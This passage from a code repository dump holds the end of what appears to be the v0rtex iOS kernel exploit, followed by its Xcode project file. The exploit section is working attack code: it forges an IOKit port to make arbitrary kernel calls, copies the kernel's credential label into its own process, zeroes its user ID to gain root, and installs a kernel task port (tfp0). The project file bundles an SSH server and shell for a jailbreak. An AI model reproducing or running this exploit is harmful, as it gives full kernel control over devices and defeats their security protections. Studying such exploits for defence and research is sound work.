1017 | fakeobj_buf->a.vtab = vtab_addr;
1018 | fakeobj_buf->a.refs = 100;
1019 | fakeobj_buf->b.__ipc = 100;
1020 |
1021 | fakeport_buf->ip_bits = 0x8000001d; // IO_BITS_ACTIVE | IOT_PORT | IKOT_IOKIT_CONNECT
1022 | fakeport_buf->ip_kobject = fakeobj_addr;
1023 |
1024 | #define KCALL(addr, x0, x1, x2, x3, x4, x5, x6) \
1025 | ( \
1026 | fakeobj_buf->a.obj = (kptr_t)(x0), \
1027 | fakeobj_buf->a.func = (kptr_t)(addr), \
1028 | (kptr_t)IOConnectTrap6(fakeport, 0, (kptr_t)(x1), (kptr_t)(x2), (kptr_t)(x3), (kptr_t)(x4), (kptr_t)(x5), (kptr_t)(x6)) \
1029 | )
1030 | kptr_t kernel_task_addr = 0;
1031 | int r = KCALL(OFF(COPYOUT), OFF(KERNEL_TASK), &kernel_task_addr, sizeof(kernel_task_addr), 0, 0, 0, 0);
1032 | LOG("kernel_task addr: " ADDR ", %s", kernel_task_addr, errstr(r));
1033 | if(r != 0 || !kernel_task_addr)
1034 | {
1035 | goto out4;
1036 | }
1037 |
1038 | kptr_t kernproc_addr = 0;
1039 | r = KCALL(OFF(COPYOUT), kernel_task_addr + OFFSET_TASK_BSD_INFO, &kernproc_addr, sizeof(kernproc_addr), 0, 0, 0, 0);
1040 | LOG("kernproc addr: " ADDR ", %s", kernproc_addr, errstr(r));
1041 | if(r != 0 || !kernproc_addr)
1042 | {
1043 | goto out4;
1044 | }
1045 |
1046 | kptr_t kern_ucred = 0;
1047 | r = KCALL(OFF(COPYOUT), kernproc_addr + OFFSET_PROC_UCRED, &kern_ucred, sizeof(kern_ucred), 0, 0, 0, 0);
1048 | LOG("kern_ucred: " ADDR ", %s", kern_ucred, errstr(r));
1049 | if(r != 0 || !kernproc_addr)
1050 | {
1051 | goto out4;
1052 | }
1053 |
1054 | kptr_t self_proc = 0;
1055 | r = KCALL(OFF(COPYOUT), self_task + OFFSET_TASK_BSD_INFO, &self_proc, sizeof(self_proc), 0, 0, 0, 0);
1056 | LOG("self_proc: " ADDR ", %s", self_proc, errstr(r));
1057 | if(r != 0 || !kernproc_addr)
1058 | {
1059 | goto out4;
1060 | }
1061 |
1062 | kptr_t self_ucred = 0;
1063 | r = KCALL(OFF(COPYOUT), self_proc + OFFSET_PROC_UCRED, &self_ucred, sizeof(self_ucred), 0, 0, 0, 0);
1064 | LOG("self_ucred: " ADDR ", %s", self_ucred, errstr(r));
1065 | if(r != 0 || !kernproc_addr)
1066 | {
1067 | goto out4;
1068 | }
1069 |
1070 | KCALL(OFF(BCOPY), kern_ucred + OFFSET_UCRED_CR_LABEL, self_ucred + OFFSET_UCRED_CR_LABEL, sizeof(kptr_t), 0, 0, 0, 0);
1071 | LOG("stole the kernel's cr_label");
1072 |
1073 | KCALL(OFF(BZERO), self_ucred + OFFSET_UCRED_CR_UID, 12, 0, 0, 0, 0, 0);
1074 | setuid(0); // update host port
1075 | LOG("uid: %u", getuid());
1076 |
1077 | host_t realhost = mach_host_self();
1078 | LOG("realhost: %x (host: %x)", realhost, host);
1079 |
1080 | uint32_t zm_task_off = 0;
1081 | FIND_RANGE(zm_task_off, sizeof(ktask_t));
1082 | kptr_t zm_task_addr = fake_addr + zm_task_off;
1083 | LOG("zm_task addr: " ADDR, zm_task_addr);
1084 | volatile ktask_t *zm_task_buf = (volatile ktask_t*)(shmem_addr + zm_task_off);
1085 | for(volatile char *ptr = (volatile char*)zm_task_buf, *end = ptr + sizeof(*zm_task_buf); ptr < end; *(ptr++) = 0);
1086 |
1087 | zm_task_buf->a.lock.data = 0x0;
1088 | zm_task_buf->a.lock.type = 0x22;
1089 | zm_task_buf->a.ref_count = 100;
1090 | zm_task_buf->a.active = 1;
1091 | zm_task_buf->b.itk_self = 1;
1092 | zm_task_buf->a.map = zone_map_addr;
1093 |
1094 | uint32_t km_task_off = 0;
1095 | FIND_RANGE(km_task_off, sizeof(ktask_t));
1096 | kptr_t km_task_addr = fake_addr + km_task_off;
1097 | LOG("km_task addr: " ADDR, km_task_addr);
1098 | volatile ktask_t *km_task_buf = (volatile ktask_t*)(shmem_addr + km_task_off);
1099 | for(volatile char *ptr = (volatile char*)km_task_buf, *end = ptr + sizeof(*km_task_buf); ptr < end; *(ptr++) = 0);
1100 |
1101 | km_task_buf->a.lock.data = 0x0;
1102 | km_task_buf->a.lock.type = 0x22;
1103 | km_task_buf->a.ref_count = 100;
1104 | km_task_buf->a.active = 1;
1105 | km_task_buf->b.itk_self = 1;
1106 | r = KCALL(OFF(COPYOUT), OFF(KERNEL_MAP), &km_task_buf->a.map, sizeof(km_task_buf->a.map), 0, 0, 0, 0);
1107 | LOG("kernel_map: " ADDR ", %s", km_task_buf->a.map, errstr(r));
1108 | if(r != 0 || !km_task_buf->a.map)
1109 | {
1110 | goto out4;
1111 | }
1112 |
1113 | kptr_t ipc_space_kernel = 0;
1114 | r = KCALL(OFF(COPYOUT), IOSurfaceRootUserClient_port + ((uintptr_t)&kport.ip_receiver - (uintptr_t)&kport), &ipc_space_kernel, sizeof(ipc_space_kernel), 0, 0, 0, 0);
1115 | LOG("ipc_space_kernel: " ADDR ", %s", ipc_space_kernel, errstr(r));
1116 | if(r != 0 || !ipc_space_kernel)
1117 | {
1118 | goto out4;
1119 | }
1120 |
1121 | #ifdef __LP64__
1122 | kmap_hdr_t zm_hdr = { 0 };
1123 | r = KCALL(OFF(COPYOUT), zm_task_buf->a.map + OFFSET_VM_MAP_HDR, &zm_hdr, sizeof(zm_hdr), 0, 0, 0, 0);
1124 | LOG("zm_range: " ADDR "-" ADDR ", %s", zm_hdr.start, zm_hdr.end, errstr(r));
1125 | if(r != 0 || !zm_hdr.start || !zm_hdr.end)
1126 | {
1127 | goto out4;
1128 | }
1129 | if(zm_hdr.end - zm_hdr.start > 0x100000000)
1130 | {
1131 | LOG("zone_map is too big, sorry.");
1132 | goto out4;
1133 | }
1134 | kptr_t zm_tmp; // macro scratch space
1135 | # define ZM_FIX_ADDR(addr) \
1136 | ( \
1137 | zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff), \
1138 | zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp \
1139 | )
1140 | #else
1141 | # define ZM_FIX_ADDR(addr) (addr)
1142 | #endif
1143 |
1144 | kptr_t ptrs[2] = { 0 };
1145 | ptrs[0] = ZM_FIX_ADDR(KCALL(OFF(IPC_PORT_ALLOC_SPECIAL), ipc_space_kernel, 0, 0, 0, 0, 0, 0));
1146 | ptrs[1] = ZM_FIX_ADDR(KCALL(OFF(IPC_PORT_ALLOC_SPECIAL), ipc_space_kernel, 0, 0, 0, 0, 0, 0));
1147 | LOG("zm_port addr: " ADDR, ptrs[0]);
1148 | LOG("km_port addr: " ADDR, ptrs[1]);
1149 |
1150 | KCALL(OFF(IPC_KOBJECT_SET), ptrs[0], zm_task_addr, IKOT_TASK, 0, 0, 0, 0);
1151 | KCALL(OFF(IPC_KOBJECT_SET), ptrs[1], km_task_addr, IKOT_TASK, 0, 0, 0, 0);
1152 |
1153 | r = KCALL(OFF(COPYIN), ptrs, self_task + OFFSET_TASK_ITK_REGISTERED, sizeof(ptrs), 0, 0, 0, 0);
1154 | LOG("copyin: %s", errstr(r));
1155 | if(r != 0)
1156 | {
1157 | goto out4;
1158 | }
1159 | mach_port_array_t maps = NULL;
1160 | mach_msg_type_number_t mapsNum = 0;
1161 | ret = mach_ports_lookup(self, &maps, &mapsNum);
1162 | LOG("mach_ports_lookup: %s", mach_error_string(ret));
1163 | if(ret != KERN_SUCCESS)
1164 | {
1165 | goto out4;
1166 | }
1167 | LOG("zone_map port: %x", maps[0]);
1168 | LOG("kernel_map port: %x", maps[1]);
1169 | if(!MACH_PORT_VALID(maps[0]) || !MACH_PORT_VALID(maps[1]))
1170 | {
1171 | goto out4;
1172 | }
1173 | // Clean out refs right away
1174 | ret = mach_ports_register(self, NULL, 0);
1175 | LOG("mach_ports_register: %s", mach_error_string(ret));
1176 | if(ret != KERN_SUCCESS)
1177 | {
1178 | goto out5;
1179 | }
1180 |
1181 | mach_vm_address_t remap_addr = 0;
1182 | ret = mach_vm_remap(maps[1], &remap_addr, SIZEOF_TASK, 0, VM_FLAGS_ANYWHERE | VM_FLAGS_RETURN_DATA_ADDR, maps[0], kernel_task_addr, false, &cur, &max, VM_INHERIT_NONE);
1183 | LOG("mach_vm_remap: %s", mach_error_string(ret));
1184 | if(ret != KERN_SUCCESS)
1185 | {
1186 | goto out5;
1187 | }
1188 | LOG("remap_addr: 0x%016llx", remap_addr);
1189 |
1190 | ret = mach_vm_wire(realhost, maps[1], remap_addr, SIZEOF_TASK, VM_PROT_READ | VM_PROT_WRITE);
1191 | LOG("mach_vm_wire: %s", mach_error_string(ret));
1192 | if(ret != KERN_SUCCESS)
1193 | {
1194 | goto out5;
1195 | }
1196 |
1197 | kptr_t newport = ZM_FIX_ADDR(KCALL(OFF(IPC_PORT_ALLOC_SPECIAL), ipc_space_kernel, 0, 0, 0, 0, 0, 0));
1198 | LOG("newport: " ADDR, newport);
1199 | KCALL(OFF(IPC_KOBJECT_SET), newport, remap_addr, IKOT_TASK, 0, 0, 0, 0);
1200 | KCALL(OFF(IPC_PORT_MAKE_SEND), newport, 0, 0, 0, 0, 0, 0);
1201 | r = KCALL(OFF(COPYIN), &newport, OFF(REALHOST) + OFFSET_REALHOST_SPECIAL + sizeof(kptr_t) * 4, sizeof(kptr_t), 0, 0, 0, 0);
1202 | LOG("copyin: %s", errstr(r));
1203 | if(r != 0)
1204 | {
1205 | goto out4;
1206 | }
1207 |
1208 | task_t kernel_task = MACH_PORT_NULL;
1209 | ret = host_get_special_port(realhost, HOST_LOCAL_NODE, 4, &kernel_task);
1210 | LOG("kernel_task: %x, %s", kernel_task, mach_error_string(ret));
1211 | if(ret != KERN_SUCCESS || !MACH_PORT_VALID(kernel_task))
1212 | {
1213 | goto out5;
1214 | }
1215 |
1216 | *tfp0 = kernel_task;
1217 | *kslide = slide;
1218 | *kernucred = kern_ucred;
1219 | *selfproc = self_proc;
1220 | retval = KERN_SUCCESS;
1221 |
1222 | out5:;
1223 | _kernelrpc_mach_port_destroy_trap(self, maps[0]);
1224 | _kernelrpc_mach_port_destroy_trap(self, maps[1]);
1225 | out4:;
1226 | _kernelrpc_mach_port_destroy_trap(self, fakeport);
1227 | out3:;
1228 | for(size_t i = 0; i < NUM_AFTER; ++i)
1229 | {
1230 | if(MACH_PORT_VALID(after[i]))
1231 | {
1232 | _kernelrpc_mach_port_destroy_trap(self, after[i]);
1233 | after[i] = MACH_PORT_NULL;
1234 | }
1235 | }
1236 | if(MACH_PORT_VALID(port))
1237 | {
1238 | _kernelrpc_mach_port_destroy_trap(self, port);
1239 | port = MACH_PORT_NULL;
1240 | }
1241 | out2:;
1242 | for(size_t i = 0; i < NUM_BEFORE; ++i)
1243 | {
1244 | if(MACH_PORT_VALID(before[i]))
1245 | {
1246 | _kernelrpc_mach_port_destroy_trap(self, before[i]);
1247 | before[i] = MACH_PORT_NULL;
1248 | }
1249 | }
1250 | if(MACH_PORT_VALID(realport))
1251 | {
1252 | _kernelrpc_mach_port_destroy_trap(self, realport);
1253 | realport = MACH_PORT_NULL;
1254 | }
1255 | out1:;
1256 | IOServiceClose(client);
1257 | out0:;
1258 | return retval;
1259 | }
1260 |
--------------------------------------------------------------------------------
/v0rtex-s.xcodeproj/project.pbxproj:
--------------------------------------------------------------------------------
1 | // !$*UTF8*$!
2 | {
3 | archiveVersion = 1;
4 | classes = {
5 | };
6 | objectVersion = 48;
7 | objects = {
8 |
9 | /* Begin PBXBuildFile section */
10 | B58B32401FE4EBA300EB7B47 /* kernel.m in Sources */ = {isa = PBXBuildFile; fileRef = B58B323D1FE4EBA300EB7B47 /* kernel.m */; };
11 | B58B32461FE4ED6300EB7B47 /* symbols.m in Sources */ = {isa = PBXBuildFile; fileRef = B58B32451FE4ED6300EB7B47 /* symbols.m */; };
12 | B58B32491FE4F3DF00EB7B47 /* root-rw.m in Sources */ = {isa = PBXBuildFile; fileRef = B58B32481FE4F3DF00EB7B47 /* root-rw.m */; };
13 | B5C5C5D31FE9C51A0022D2EC /* amfi.m in Sources */ = {isa = PBXBuildFile; fileRef = B5C5C5D21FE9C51A0022D2EC /* amfi.m */; };
14 | B5C5C5DE1FE9EF670022D2EC /* launchctl in Resources */ = {isa = PBXBuildFile; fileRef = B5C5C5DD1FE9EF660022D2EC /* launchctl */; };
15 | B5E66A511FE6D8A800C7530E /* patchfinder64.c in Sources */ = {isa = PBXBuildFile; fileRef = B5E66A501FE6D8A800C7530E /* patchfinder64.c */; };
16 | B5E66A5A1FE824FD00C7530E /* tar in Resources */ = {isa = PBXBuildFile; fileRef = B5E66A591FE824FD00C7530E /* tar */; };
17 | B5E66A5C1FE86DD900C7530E /* libjb.a in Frameworks */ = {isa = PBXBuildFile; fileRef = B5E66A5B1FE86DD900C7530E /* libjb.a */; };
18 | EE2E3E891FEDF73400BBE88D /* bootstrap.tar in Resources */ = {isa = PBXBuildFile; fileRef = EE2E3E881FEDF73400BBE88D /* bootstrap.tar */; };
19 | EE2E3E8C1FEDF99600BBE88D /* dropbear in Resources */ = {isa = PBXBuildFile; fileRef = EE2E3E8A1FEDF99600BBE88D /* dropbear */; };
20 | EE2E3E8D1FEDF99600BBE88D /* bash in Resources */ = {isa = PBXBuildFile; fileRef = EE2E3E8B1FEDF99600BBE88D /* bash */; };
21 | EE5169281FDC2A7000805460 /* v0rtex.m in Sources */ = {isa = PBXBuildFile; fileRef = EE5169271FDC2A7000805460 /* v0rtex.m */; };
22 | EE5252AE1FDA4F2F00993801 /* AppDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = EE5252AD1FDA4F2F00993801 /* AppDelegate.m */; };
23 | EE5252B11FDA4F2F00993801 /* ViewController.m in Sources */ = {isa = PBXBuildFile; fileRef = EE5252B01FDA4F2F00993801 /* ViewController.m */; };
24 | EE5252B41FDA4F2F00993801 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = EE5252B21FDA4F2F00993801 /* Main.storyboard */; };
25 | EE5252B61FDA4F2F00993801 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = EE5252B51FDA4F2F00993801 /* Assets.xcassets */; };
26 | EE5252B91FDA4F2F00993801 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = EE5252B71FDA4F2F00993801 /* LaunchScreen.storyboard */; };
27 | EE5252BC1FDA4F2F00993801 /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = EE5252BB1FDA4F2F00993801 /* main.m */; };
28 | EE665E261FDC013D00FF457E /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = EE665E251FDC013D00FF457E /* IOKit.framework */; };
29 | /* End PBXBuildFile section */
30 |
31 | /* Begin PBXFileReference section */
32 | B58B323D1FE4EBA300EB7B47 /* kernel.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kernel.m; sourceTree = ""; };
33 | B58B323F1FE4EBA300EB7B47 /* kernel.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel.h; sourceTree = ""; };
34 | B58B32451FE4ED6300EB7B47 /* symbols.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = symbols.m; sourceTree = ""; };
35 | B58B32471FE4EDCF00EB7B47 /* symbols.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = symbols.h; sourceTree = ""; };
36 | B58B32481FE4F3DF00EB7B47 /* root-rw.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "root-rw.m"; sourceTree = ""; };
37 | B58B324A1FE4F3F900EB7B47 /* root-rw.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "root-rw.h"; sourceTree = ""; };
38 | B58B32561FE5237000EB7B47 /* libjb.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libjb.h; sourceTree = ""; };
39 | B5C5C5D21FE9C51A0022D2EC /* amfi.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = amfi.m; sourceTree = ""; };
40 | B5C5C5D41FE9C8CC0022D2EC /* amfi.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = amfi.h; sourceTree = ""; };
41 | B5C5C5DD1FE9EF660022D2EC /* launchctl */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; path = launchctl; sourceTree = ""; };
42 | B5E66A4F1FE6D8A700C7530E /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = patchfinder64.h; sourceTree = ""; };
43 | B5E66A501FE6D8A800C7530E /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = patchfinder64.c; sourceTree = ""; };
44 | B5E66A591FE824FD00C7530E /* tar */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; path = tar; sourceTree = ""; };
45 | B5E66A5B1FE86DD900C7530E /* libjb.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libjb.a; sourceTree = ""; };
46 | EE2E3E881FEDF73400BBE88D /* bootstrap.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = bootstrap.tar; sourceTree = ""; };
47 | EE2E3E8A1FEDF99600BBE88D /* dropbear */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; path = dropbear; sourceTree = ""; };
48 | EE2E3E8B1FEDF99600BBE88D /* bash */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.executable"; path = bash; sourceTree = ""; };
49 | EE5169271FDC2A7000805460 /* v0rtex.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = v0rtex.m; sourceTree = ""; };
50 | EE5169291FDC2C9D00805460 /* common.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = ""; };
51 | EE5252A91FDA4F2F00993801 /* v0rtex.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = v0rtex.app; sourceTree = BUILT_PRODUCTS_DIR; };
52 | EE5252AC1FDA4F2F00993801 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; };
53 | EE5252AD1FDA4F2F00993801 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; };
54 | EE5252AF1FDA4F2F00993801 /* ViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ViewController.h; sourceTree = ""; };
55 | EE5252B01FDA4F2F00993801 /* ViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ViewController.m; sourceTree = ""; };
56 | EE5252B31FDA4F2F00993801 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/Main.storyboard; sourceTree = ""; };
57 | EE5252B51FDA4F2F00993801 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; };
58 | EE5252B81FDA4F2F00993801 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; };
59 | EE5252BA1FDA4F2F00993801 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; };
60 | EE5252BB1FDA4F2F00993801 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; };
61 | EE665E251FDC013D00FF457E /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = ../../../../../System/Library/Frameworks/IOKit.framework; sourceTree = ""; };
62 | EE81AD151FDEF1AB0094418B /* v0rtex.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = v0rtex.h; sourceTree = ""; };
63 | /* End PBXFileReference section */
64 |
65 | /* Begin PBXFrameworksBuildPhase section */
66 | EE5252A61FDA4F2F00993801 /* Frameworks */ = {
67 | isa = PBXFrameworksBuildPhase;
68 | buildActionMask = 2147483647;
69 | files = (
70 | B5E66A5C1FE86DD900C7530E /* libjb.a in Frameworks */,
71 | EE665E261FDC013D00FF457E /* IOKit.framework in Frameworks */,
72 | );
73 | runOnlyForDeploymentPostprocessing = 0;
74 | };
75 | /* End PBXFrameworksBuildPhase section */
76 |
77 | /* Begin PBXGroup section */
78 | EE2E3E8E1FEE023100BBE88D /* bootstrap */ = {
79 | isa = PBXGroup;
80 | children = (
81 | B5E66A591FE824FD00C7530E /* tar */,
82 | EE2E3E8B1FEDF99600BBE88D /* bash */,
83 | EE2E3E8A1FEDF99600BBE88D /* dropbear */,
84 | EE2E3E881FEDF73400BBE88D /* bootstrap.tar */,
85 | B5C5C5DD1FE9EF660022D2EC /* launchctl */,
86 | );
87 | name = bootstrap;
88 | sourceTree = "";
89 | };
90 | EE5252A01FDA4F2F00993801 = {
91 | isa = PBXGroup;
92 | children = (
93 | EE5252AB1FDA4F2F00993801 /* v0rtex-S */,
94 | EE5252AA1FDA4F2F00993801 /* Products */,
95 | EE665E201FDBFDB600FF457E /* Frameworks */,
96 | );
97 | sourceTree = "";
98 | };
99 | EE5252AA1FDA4F2F00993801 /* Products */ = {
100 | isa = PBXGroup;
101 | children = (
102 | EE5252A91FDA4F2F00993801 /* v0rtex.app */,
103 | );
104 | name = Products;
105 | sourceTree = "";
106 | };
107 | EE5252AB1FDA4F2F00993801 /* v0rtex-S */ = {
108 | isa = PBXGroup;
109 | children = (
110 | EE2E3E8E1FEE023100BBE88D /* bootstrap */,
111 | EE801A6F1FEDAE12002908D2 /* fun */,
112 | EE5252BB1FDA4F2F00993801 /* main.m */,
113 | EE5252AC1FDA4F2F00993801 /* AppDelegate.h */,
114 | EE5252AD1FDA4F2F00993801 /* AppDelegate.m */,
115 | EE5252AF1FDA4F2F00993801 /* ViewController.h */,
116 | EE5252B01FDA4F2F00993801 /* ViewController.m */,
117 | EE5169291FDC2C9D00805460 /* common.h */,
118 | EE81AD151FDEF1AB0094418B /* v0rtex.h */,
119 | EE5169271FDC2A7000805460 /* v0rtex.m */,
120 | EEAC27D31FDDB0A3003C1801 /* Supporting Files */,
121 | );
122 | path = "v0rtex-S";
123 | sourceTree = "";
124 | };
125 | EE665E201FDBFDB600FF457E /* Frameworks */ = {
126 | isa = PBXGroup;
127 | children = (
128 | EE665E251FDC013D00FF457E /* IOKit.framework */,
129 | );
130 | name = Frameworks;
131 | sourceTree = "";
132 | };
133 | EE801A6F1FEDAE12002908D2 /* fun */ = {
134 | isa = PBXGroup;
135 | children = (
136 | B5E66A501FE6D8A800C7530E /* patchfinder64.c */,
137 | B5E66A4F1FE6D8A700C7530E /* patchfinder64.h */,
138 | B58B32451FE4ED6300EB7B47 /* symbols.m */,
139 | B58B32471FE4EDCF00EB7B47 /* symbols.h */,
140 | B58B323F1FE4EBA300EB7B47 /* kernel.h */,
141 | B58B323D1FE4EBA300EB7B47 /* kernel.m */,
142 | B5C5C5D21FE9C51A0022D2EC /* amfi.m */,
143 | B5C5C5D41FE9C8CC0022D2EC /* amfi.h */,
144 | B58B32481FE4F3DF00EB7B47 /* root-rw.m */,
145 | B58B324A1FE4F3F900EB7B47 /* root-rw.h */,
146 | B5E66A5B1FE86DD900C7530E /* libjb.a */,
147 | B58B32561FE5237000EB7B47 /* libjb.h */,
148 | );
149 | name = fun;
150 | sourceTree = "";
151 | };
152 | EEAC27D31FDDB0A3003C1801 /* Supporting Files */ = {
153 | isa = PBXGroup;
154 | children = (
155 | EE5252BA1FDA4F2F00993801 /* Info.plist */,
156 | EE5252B21FDA4F2F00993801 /* Main.storyboard */,
157 | EE5252B71FDA4F2F00993801 /* LaunchScreen.storyboard */,
158 | EE5252B51FDA4F2F00993801 /* Assets.xcassets */,
159 | );
160 | name = "Supporting Files";
161 | sourceTree = "";
162 | };
163 | /* End PBXGroup section */
164 |
165 | /* Begin PBXNativeTarget section */
166 | EE5252A81FDA4F2F00993801 /* v0rtex */ = {
167 | isa = PBXNativeTarget;
168 | buildConfigurationList = EE5252BF1FDA4F2F00993801 /* Build configuration list for PBXNativeTarget "v0rtex" */;
169 | buildPhases = (
170 | EE5252A51FDA4F2F00993801 /* Sources */,
171 | EE5252A61FDA4F2F00993801 /* Frameworks */,
172 | EE5252A71FDA4F2F00993801 /* Resources */,
173 | );
174 | buildRules = (
175 | );
176 | dependencies = (
177 | );
178 | name = v0rtex;
179 | productName = v0rtex;
180 | productReference = EE5252A91FDA4F2F00993801 /* v0rtex.app */;
181 | productType = "com.apple.product-type.application";
182 | };
183 | /* End PBXNativeTarget section */
184 |
185 | /* Begin PBXProject section */
186 | EE5252A11FDA4F2F00993801 /* Project object */ = {
187 | isa = PBXProject;
188 | attributes = {
189 | LastUpgradeCheck = 0920;
190 | ORGANIZATIONNAME = Sticktron;
191 | TargetAttributes = {
192 | EE5252A81FDA4F2F00993801 = {
193 | CreatedOnToolsVersion = 9.0;
194 | ProvisioningStyle = Automatic;
195 | };
196 | };
197 | };
198 | buildConfigurationList = EE5252A41FDA4F2F00993801 /* Build configuration list for PBXProject "v0rtex-S" */;
199 | compatibilityVersion = "Xcode 8.0";
200 | developmentRegion = en;
201 | hasScannedForEncodings = 0;
202 | knownRegions = (
203 | en,
204 | Base,
205 | );
206 | mainGroup = EE5252A01FDA4F2F00993801;
207 | productRefGroup = EE5252AA1FDA4F2F00993801 /* Products */;
208 | projectDirPath = "";
209 | projectRoot = "";
210 | targets = (
211 | EE5252A81FDA4F2F00993801 /* v0rtex */,
212 | );
213 | };
214 | /* End PBXProject section */
215 |
216 | /* Begin PBXResourcesBuildPhase section */
217 | EE5252A71FDA4F2F00993801 /* Resources */ = {
218 | isa = PBXResourcesBuildPhase;
219 | buildActionMask = 2147483647;
220 | files = (
221 | EE5252B91FDA4F2F00993801 /* LaunchScreen.storyboard in Resources */,
222 | B5C5C5DE1FE9EF670022D2EC /* launchctl in Resources */,
223 | EE2E3E8D1FEDF99600BBE88D /* bash in Resources */,
224 | EE2E3E8C1FEDF99600BBE88D /* dropbear in Resources */,
225 | B5E66A5A1FE824FD00C7530E /* tar in Resources */,
226 | EE5252B61FDA4F2F00993801 /* Assets.xcassets in Resources */,
227 | EE2E3E891FEDF73400BBE88D /* bootstrap.tar in Resources */,
228 | EE5252B41FDA4F2F00993801 /* Main.storyboard in Resources */,
229 | );
230 | runOnlyForDeploymentPostprocessing = 0;
231 | };
232 | /* End PBXResourcesBuildPhase section */
233 |
234 | /* Begin PBXSourcesBuildPhase section */
235 | EE5252A51FDA4F2F00993801 /* Sources */ = {
236 | isa = PBXSourcesBuildPhase;
237 | buildActionMask = 2147483647;
238 | files = (
239 | B5C5C5D31FE9C51A0022D2EC /* amfi.m in Sources */,
240 | B58B32491FE4F3DF00EB7B47 /* root-rw.m in Sources */,
241 | B58B32401FE4EBA300EB7B47 /* kernel.m in Sources */,
242 | B5E66A511FE6D8A800C7530E /* patchfinder64.c in Sources */,
243 | B58B32461FE4ED6300EB7B47 /* symbols.m in Sources */,
244 | EE5252B11FDA4F2F00993801 /* ViewController.m in Sources */,
245 | EE5252BC1FDA4F2F00993801 /* main.m in Sources */,
246 | EE5252AE1FDA4F2F00993801 /* AppDelegate.m in Sources */,
247 | EE5169281FDC2A7000805460 /* v0rtex.m in Sources */,
248 | );
249 | runOnlyForDeploymentPostprocessing = 0;
250 | };
251 | /* End PBXSourcesBuildPhase section */
252 |
253 | /* Begin PBXVariantGroup section */
254 | EE5252B21FDA4F2F00993801 /* Main.storyboard */ = {
255 | isa = PBXVariantGroup;
256 | children = (
257 | EE5252B31FDA4F2F00993801 /* Base */,
258 | );
259 | name = Main.storyboard;
260 | sourceTree = "";
261 | };
262 | EE5252B71FDA4F2F00993801 /* LaunchScreen.storyboard */ = {
263 | isa = PBXVariantGroup;
264 | children = (
265 | EE5252B81FDA4F2F00993801 /* Base */,
266 | );
267 | name = LaunchScreen.storyboard;
268 | sourceTree = "";
269 | };
270 | /* End PBXVariantGroup section */
271 |
272 | /* Begin XCBuildConfiguration section */
273 | EE5252BD1FDA4F2F00993801 /* Debug */ = {
274 | isa = XCBuildConfiguration;
275 | buildSettings = {
276 | ALWAYS_SEARCH_USER_PATHS = YES;
277 | CLANG_ANALYZER_NONNULL = YES;
278 | CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE;
279 | CLANG_CXX_LANGUAGE_STANDARD = "gnu++14";
280 | CLANG_CXX_LIBRARY = "libc++";
281 | CLANG_ENABLE_MODULES = YES;
282 | CLANG_ENABLE_OBJC_ARC = YES;
283 | CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;
284 | CLANG_WARN_BOOL_CONVERSION = YES;
285 | CLANG_WARN_COMMA = YES;
286 | CLANG_WARN_CONSTANT_CONVERSION = YES;
287 | CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;
288 | CLANG_WARN_DOCUMENTATION_COMMENTS = YES;
289 | CLANG_WARN_EMPTY_BODY = YES;
290 | CLANG_WARN_ENUM_CONVERSION = YES;
291 | CLANG_WARN_INFINITE_RECURSION = YES;
292 | CLANG_WARN_INT_CONVERSION = YES;
293 | CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
